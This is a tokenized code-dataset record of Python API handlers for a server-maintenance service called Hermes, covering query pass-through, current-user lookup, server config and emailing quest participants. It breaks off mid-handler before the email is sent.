"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "success_", "(_", "result", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ext", "Query", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Pass", " ", "through", " ", "post", " ", "to", " ", "the", " ", "external", " ", "query", " ", "handler", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json", "\\u", "data_", "=_", "json_", "._", "loads_", "(_", "self_", "._", "request_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "post_", "(_", "json", "\\u", "body_", "=_", "json", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result", "\\u", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "results", "\"_", ":_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "body_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "success_", "(_", "result", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Curr", "ent", "User", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Curr", "ent", "User", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "**", "Get", " ", "a", " ", "current", " ", "authenticat", "ed", " ", "user", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", "**", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "current", "User", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", "**", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "user", "@", "example", ".", "com", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "User", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "request_", "._", "headers_", "._", "get_", "(_", "'", "X", "-", "Pp", "-", "User", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "self_", "._", "request_", "._", "headers_", "[_", "'", "X", "-", "Pp", "-", "User", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result", "\\u", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "user", "\"_", ":_", "user_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "result", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Server", "Config_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "Config_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "**", "Get", " ", "the", " ", "server", "'", "s", " ", "configura", "tion", " ", "informati", "on", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "used", " ", "to", " ", "get", " ", "the", " ", "config", " ", "informati", "on", " ", "tha", "t", " ", "the", " ", "front", " ", "end", " ", "mig", "ht", "\\", "10", ";", " ", " ", " ", " ", "want", " ", "to", " ", "know", " ", "abo", "ut", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", "**", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "server", "Config", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", "**", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "domain", "\":", " ", "\"", "example", ".", "com", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "domain", "\"_", ":_", "settings_", "._", "domain_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "fulls", "tor", "y", "Id", "\"_", ":_", "settings_", "._", "fulls", "tor", "y", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "result", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Quest", "Mail", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quest", "Mail", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Sen", "d", " ", "a", " ", "message", " ", "to", " ", "all", " ", "owner", "s", " ", "tha", "t", " ", "are", " ", "involved", " ", "with", " ", "a", " ", "quest", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "quest", "/", "20", "/", "mail", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "server", "Owne", "rs", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "Owne", "rs", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "from", "\":", " ", "\"", "user", "@", "example", ".", "com", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "subject", "\":", " ", "\"", "Hell", "o", "!\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "message", "\":", " ", "\"", "Work", " ", "is", " ", "abo", "ut", " ", "to", " ", "comm", "ence", ".\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "host", "s", "/", "example", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Not", "e", ":*", "*", "\\", "10", ";", " ", " ", " ", " ", "Her", "mes", " ", "will", " ", "automati", "call", "y", " ", "append", " ", "a", " ", "link", " ", "to", " ", "the", " ", "quest", " ", "so", " ", "users", " ", "can", " ", "go", " ", "there", " ", "direct", "ly", " ", "from", " ", "the", " ", "email", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", " ", "the", " ", "ID", " ", "of", " ", "the", " ", "quest", " ", "we", " ", "are", " ", "working", " ", "with", " ", "whe", "n", " ", "sendin", "g", " ", "an", " ", "email", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "boolean", " ", "server", "Owne", "rs", ":", " ", "send", " ", "to", " ", "all", " ", "owner", "s", " ", "of", " ", "server", "s", " ", "tha", "t", " ", "have", " ", "labor", "s", " ", "in", " ", "this", " ", "quest", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "boolean", " ", "labor", "Owne", "rs", ":", " ", "send", " ", "to", " ", "all", " ", "labor", " ", "owner", "s", " ", "(", "e", ".", "g", ".", " ", "server", " ", "owner", "s", " ", "if", " ", "the", "y", " ", "own", " ", "the", " ", "active", " ", "labor", " ", "or", " ", "the", " ", "quest", " ", "owner", " ", "if", " ", "the", "y", " ", "own", " ", "the", " ", "active", " ", "labor", ")", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "from", ":", " ", "the", " ", "sender", " ", "email", " ", "address", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "subject", ":", " ", "the", " ", "subject", " ", "line", " ", "of", " ", "the", " ", "email", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "message", ":", " ", "the", " ", "body", " ", "of", " ", "the", " ", "message", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "Ema", "il", " ", "was", " ", "created", " ", "and", " ", "sent", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "\\u", "owners_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "'", "server", "Owne", "rs", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labor", "\\u", "owners_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "'", "labor", "Owne", "rs", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "server", "\\u", "owners_", "and_", "not_", "labor", "\\u", "owners_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mus", "t", " ", "speci", "fy", " ", "server", "Owne", "rs", " ", "and", "/", "or", " ", "labor", "Owne", "rs", " ", "as", " ", "true", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "sent", " ", "email", " ", "to", " ", "{}{}", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "server", " ", "owner", "s", "\"_", "if_", "server", "\\u", "owners_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "and", " ", "\"_", "if_", "server", "\\u", "owners_", "and_", "labor", "\\u", "owners_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "labor", " ", "owner", "s", "\"_", "if_", "labor", "\\u", "owners_", "else_", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from", "\\u", "address_", "=_", "self_", "._", "jbo", "dy_", "[_", "'", "from", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subject_", "=_", "self_", "._", "jbo", "dy_", "[_", "'", "subject", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "self_", "._", "jbo", "dy_", "[_", "'", "message", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Open", " ", "the", " ", "quest", " ", "and", " ", "gra", "b", " ", "the", " ", "labor", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quest_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "get_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "quest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Quest", " ", "{}", " ", "not", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "labor", "s_", "=_", "quest_", "._", "labor", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Grab", " ", "the", " ", "hostnames", " ", "and", " ", "look", " ", "up", " ", "the", " ", "owners_", "\\u\\u\\uNL\\u\\u\\u_", "hostnames", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "labor", "_", "in_", "labor", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "._", "add_", "(_", "labor", "_", "._", "host_", "._", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "owner", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "json", "\\u", "body_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "operati", "on", "\"_", ":_", "\"", "owner", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "hostnames", "\"_", ":_", "list_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "owners_", "=_", "results_", "._", "json_", "(_", ")_", "[_", "'", "results", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "\"", "Fail", "ed", " ", "to", " ", "get", " ", "host", " ", "owner", "s", ":", " ", "\"_", "+_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Host", " ", "owner", "s", " ", "not", " ", "found", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "contact", " ", "informati", "on", " ", "from", " ", "strong", "poc", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "strong", "poc", "\\u", "contacts_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "settings_", "._", "strong", "poc", "\\u", "server_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "contact", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "\"/", "api", "/", "poc", "s", "/?", "expand", "=", "team", "s", "&", "expand", "=", "service", "\\u", "provide", "rs", "&", "expand", "=", "contact", "\\u", "types", "&", "service", "\\u", "provide", "r\\u\\u", "name", "=", "herm", "es", "&", "contact", "\\u", "type\\u\\u", "name", "=", "email", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "server_", "=_", "settings_", "._", "strong", "poc", "\\u", "server_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "strong", "poc", "\\u", "results_", "=_", "results_", "._", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "strong", "poc", "\\u", "contacts_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "result_", "in_", "strong", "poc", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "strong", "poc", "\\u", "contacts_", "[_", "result_", "[_", "'", "team", "'_", "]_", "[_", "'", "name", "'_", "]_", "]_", "=_", "result_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "\"", "Fail", "ed", " ", "to", " ", "get", " ", "strong", "poc", " ", "contact", "s", ":", " ", "\"_", "+_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "recipients_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "want", " ", "labor", " ", "owner", "s", ",", " ", "loop", " ", "through", " ", "and", " ", "see", " ", "if", " ", "who", " ", "tha", "t", " ", "should_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "be", " ", "and", " ", "add", " ", "them", " ", "to", " ", "recipients_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "labor", "\\u", "owners_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "labor", "_", "in_", "labor", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "labor", "_", "._", "for", "\\u", "creator_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "quest", " ", "creat", "or", " ", "to", " ", "recipients_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "recipients_", "._", "add_", "(_", "quest_", "._", "creator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "labor", "_", "._", "for", "\\u", "owner_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "machine", " ", "owner", " ", "to", " ", "recipients_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "owner_", "=_", "owners_", "[_", "labor", "_", "._", "host_", "._", "hostname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "strong", "poc", "\\u", "contacts_", "and_", "owner_", "in_", "strong", "poc", "\\u", "contacts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recipients_", "._", "add_", "(_", "strong", "poc", "\\u", "contacts_", "[_", "owner_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recipients_", "._", "add_", "(_", "\"{}", "@{", "}\"_", "._", "format_", "(_", "owner_", ",_", "settings_", "._", "domain_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "want", " ", "server", " ", "owner", "s", ",", " ", "loop", " ", "through", " ", "hosts_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "add", " ", "owner", "s", " ", "to", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "server", "\\u", "owners_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "labor", "_", "in_", "labor", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "machine", " ", "owner", " ", "to", " ", "recipients_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "owner_", "=_", "owners_", "[_", "labor", "_", "._", "host_", "._", "hostname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "strong", "poc", "\\u", "contacts_", "and_", "owner_", "in_", "strong", "poc", "\\u", "contacts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "recipients_", "._", "add_", "(_", "strong", "poc", "\\u", "contacts_", "[_", "owner_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "recipients_", "._", "add_", "(_", "\"{}", "@{", "}\"_", "._", "format_", "(_", "owner_", ",_", "settings_", "._", "domain_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sen", "d", " ", "email_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 